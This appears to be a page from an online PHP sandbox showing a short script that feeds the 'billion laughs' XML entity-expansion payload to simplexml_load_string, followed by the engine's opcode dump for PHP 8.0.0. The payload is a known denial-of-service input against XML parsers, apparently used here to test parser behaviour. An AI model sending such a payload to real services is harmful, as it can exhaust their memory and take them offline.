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<?php //var_dump(libxml_disable_entity_loader()); $dom = simplexml_load_string('<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>'); var_dump($dom);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/SMJre
function name:  (null)
number of ops:  8
compiled vars:  !0 = $dom
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    5     0  E >   INIT_FCALL                                               'simplexml_load_string'
          1        SEND_VAL                                                 '%3C%3Fxml+version%3D%221.0%22%3F%3E%0A%3C%21DOCTYPE+lolz+%5B%0A+%3C%21ENTITY+lol+%22lol%22%3E%0A+%3C%21ELEMENT+lolz+%28%23PCDATA%29%3E%0A+%3C%21ENTITY+lol1+%22%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%26lol%3B%22%3E%0A+%3C%21ENTITY+lol2+%22%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%26lol1%3B%22%3E%0A+%3C%21ENTITY+lol3+%22%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%26lol2%3B%22%3E%0A+%3C%21ENTITY+lol4+%22%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%26lol3%3B%22%3E%0A+%3C%21ENTITY+lol5+%22%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%26lol4%3B%22%3E%0A+%3C%21ENTITY+lol6+%22%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%26lol5%3B%22%3E%0A+%3C%21ENTITY+lol7+%22%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%26lol6%3B%22%3E%0A+%3C%21ENTITY+lol8+%22%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%26lol7%3B%22%3E%0A+%3C%21ENTITY+lol9+%22%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%26lol8%3B%22%3E%0A%5D%3E%0A%3Clolz%3E%26lol9%3B%3C%2Flolz%3E'
          2        DO_ICALL                                         $1      
          3        ASSIGN                                                   !0, $1
   21     4        INIT_FCALL                                               'var_dump'
          5        SEND_VAR                                                 !0
          6        DO_ICALL                                                 
          7      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
165 ms | 1395 KiB | 17 Q